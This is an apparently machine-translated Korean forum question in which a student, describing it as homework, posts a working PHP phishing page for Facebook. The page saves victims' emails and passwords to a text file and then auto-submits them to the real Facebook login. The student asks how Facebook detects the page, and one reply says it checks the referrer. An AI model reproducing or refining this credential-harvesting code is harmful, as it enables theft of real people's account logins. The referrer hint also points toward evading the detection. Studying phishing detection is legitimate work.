저는 컴퓨터 보안에 대한 약간의 숙제를하고 있으며 현재 피싱 작업을하고 있습니다.Facebook 피싱 감지
그래서 교육적인 목적으로 필자는 단순한 "피싱 웹 페이지"를 작성했으며 Facebook에서 피싱 사기성 웹 페이지를 감지하는 방법을 이해하려고 노력하고 있습니다.
내 index.html
은 페이스 북의 메인 페이지이며 사용자를 phishing.php
페이지로 리디렉션하기 위해 편집했습니다.
phishing.php
<?php
$file = fopen('phishing.txt', 'a');
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n");
fclose($file);
?>
<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm">
<?php
foreach ($_POST as $a => $b) {
echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>";
}
?>
</form>
<script language="JavaScript">
document.frm.submit();
</script>
내 질문은 여기에 온다. 모든 것이 잘 작동, 사용자가 한 번 (나) 사용자 이름과 비밀번호를한다 들어간다는 사실을 제외, 페이스 북은 말한다 :
보안주의 사항 : 보안을 위해, 페이스 북에없는 사이트에 페이스 북 비밀번호 를 입력하지 .com
이렇게 피싱 페이지를 탐지하기 위해 Facebook에서 어떤 메커니즘을 사용합니까?
감사합니다.
리퍼러가 실제로 페이스 북에서 온 것인지 아닌지를 확인합니다. – Ali